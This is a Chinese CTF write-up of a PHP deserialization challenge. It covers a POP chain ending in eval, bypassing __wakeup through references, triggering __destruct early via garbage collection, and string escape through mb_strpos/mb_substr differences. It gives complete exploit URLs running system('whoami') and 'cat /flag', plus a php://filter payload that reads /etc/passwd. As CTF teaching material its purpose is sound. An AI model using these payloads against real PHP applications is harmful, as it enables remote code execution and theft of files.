ez_php

  1. ez_php
    1. 知识点
      1. PHP GC回收机制
        1. PHP GC 回收机制是什么
        2. PHP GC 回收机制攻击面
      2. 字符串逃逸反序列化

ez_php

首先先看题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}

先构造链子,根据魔术方法的调用方式把链子构造出来

1
Hacker::__destruct => C::__toString => T::__call => F::__get => E::__isset => R::__invoke

然后就是绕过__wakeup魔术方法

1
2
3
4
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

下边有一个赋值的操作,所以可以使用引用绕过,当endusername相互引用时,修改end的值也是在修改username的值

—。

接着是绕过throw new Exception("杂鱼~杂鱼~");,这里有一个异常抛出,使得__destruct并不能触发,这时就需要使用gc回收的机制,使__destruct提前触发,让pop链能够往后走

参考连接:PHP反序列化


构造出pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
class Hacker{
public $start;
public $end;
public $username="hacker";
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
echo "__toString";
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo "__call";
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
echo "__get";
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
echo "__isset";
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
echo "__invoke";
eval($this->r);
}
}
$a = new Hacker();
$a->end = &$a->username;
$a->start = new C();
$a->start->c = new T();
$a->start->c->t = new F();
$a->start->c->t->f = new E();
$a->start->c->t->f->e = new R();
$a->start->c->t->f->e->r = 'system("whoami");';
$b=array('1'=>$a,'2'=>null);
echo serialize($b);

//a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}

然后把末尾的i:2;N;}改成i:1;N;},即把2改成1

1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

特殊变量名,传入ez[ser.from_you即可绕过

最后是逃逸

1
2
3
4
5
6
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

参考 CTFSHOW-西瓜杯Ezzz_php

参考链接:ctfshow_XGCTF_西瓜杯

1
2
3
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

在本地测试一下,计算我们需要截掉几个字节

题目正常序列化 serialize($ctf),得到

1
O:6:"Hacker":3:{s:5:"start";s:218:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

显然,前面的 O:6:"Hacker":3:{s:5:"start";s:218:"{{{ 这部分并不是我们需要的,必须截掉,因此传入

1
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab

把前面没用的38个字符截掉

最终传入

1
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

成功执行whoami命令

读flag:

1
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system("cat /flag");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

知识点

PHP GC回收机制

PHP GC 回收机制是什么

用来提前触发__destruct

在 PHP 中,是拥有垃圾回收机制 Garbage collection 的,也就是我们常说的 GC 机制的,在 PHP 中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为 NULL ,或者没有任何指针指向时,它就会被变成垃圾,被 GC 机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的 __destruct() 方法。

  • 上面这一段话我个人认为如果零基础看,会感觉到相当抽象。所以我们先来解读一下

PHP 引用计数

当我们 PHP 创建一个变量时,这个变量会被存储在一个名为 zval 的变量容器中。在这个 zval 变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。

第一个字节名为 is_ref,是 bool 值,它用来标识这个变量是否是属于引用集合。PHP 引擎通过这个字节来区分普通变量和引用变量,由于 PHP 允许用户使用 & 来使用自定义引用,zval 变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个字节是 refcount,它用来表示指向 zval 变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。

接下来看看例子:

容器的生成:

1
2
3
4
5
php
<?php
$a = "test";
xdebug_debug_zval('a');
?>

下来添加一个引用

1
2
3
4
5
6
php
<?php
$a = "test";
$b = &$a;
xdebug_debug_zval('a');
?>

这里的话 a 的 refcount 应该是 1,is_ref 应该是 true,验证一下

img

结果不同于我们所想的,这是为什么呢?

因为同一变量容器被变量 a 和变量 b 关联,当没必要时,php 不会去复制已生成的变量容器。 所以这一个 zval 容器存储了 a 和 b 两个变量,就使得 refcount 的值为 2。

容器的销毁:

当函数执行结束或者对变量调用了 unset() 函数,refcount 就会减 1。

1
2
3
4
5
6
7
8
<?php
$a="test";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>

PHP GC 回收机制攻击面

  • 原理:当 is_ref 减少时,会触发 __destuct 魔术方法,由此产生的一些 trick 类型攻击

变量被unset函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
php

<?php
highlight_file(__FILE__);
class test{
public $num;

public function __construct($num) {
$this->num = $num;
echo $this->num."__construct"."</br>";
}

public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);

img

当对象为NULL时也是可以触发__destruct的。

在一个 array 里面存在一个键值对,value 为某个类,当这个类为 NULL 的时候,会被认为是 is_ref 为 0,也就是 false。这就可以触发到 __destruct 方法

样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
php
<?php
highlight_file(__FILE__);
$flag = "flag{test_flag}";

class B {
function __destruct() {
global $flag;
echo $flag;
}
}

$a = unserialize($_GET['ctf']);
throw new Exception('nonono');

这里因为有异常处理,所以正常情况下是无法__destruct,这时我们就需要利用GC回收机制来触发__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
php
<?php
highlight_file(__FILE__);

class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array('a'=>new B,'b'=>NULL);

echo serialize($a);
// a:2:{s:1:"a";O:1:"B":0:{}s:1:"b";N;}

得到序列化文本如下

1
2
3
4
plaintext
a:2:{s:1:"a";O:1:"B":0:{}s:1:"b";N;}
对象类型:对象个数:{类型:长度:键名;类型:长度:类名:值类型:长度:键名;类型;}
数组:对象个数为2:{str型:长度1:键名为"a";类:长度为1:类名为"B":值为0 str型:值为1:键名为"b":NULL型;}

这时我们将键名b改成a,即在反序列化时,会下先让a赋值为类B,之后再将a赋值为NULL,但一开始a已经是对象了,赋值为NULL时就会出现对象为NULL的情况,从而触发__destruct

1
2
plaintext
a:2:{s:1:"a";O:1:"B":0:{}s:1:"a";N;}

img

这个是在反序列化中经常使用的方法。

字符串逃逸反序列化

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
php

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

先是字符串逃逸反序列化

参考链接:Web-逃跑大师–第二届黄河流域公安院校网络空间安全技能邀请赛

1
2
3
4
5
6
7
8
9
10
plaintext
当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动

因此我们可以知道

1
2
3
4
plaintext
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

所以第一步是先在 start 里传入我们想要序列化的字符串,然后通过截取把前面的那些干扰字符去掉,从而能够控制 filename的值任意读文件。

1
2
plaintext
?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

img

这只是第一步,后边要利用 file_get_contents($this->filename); 来rce。

参考链接:【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一)


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github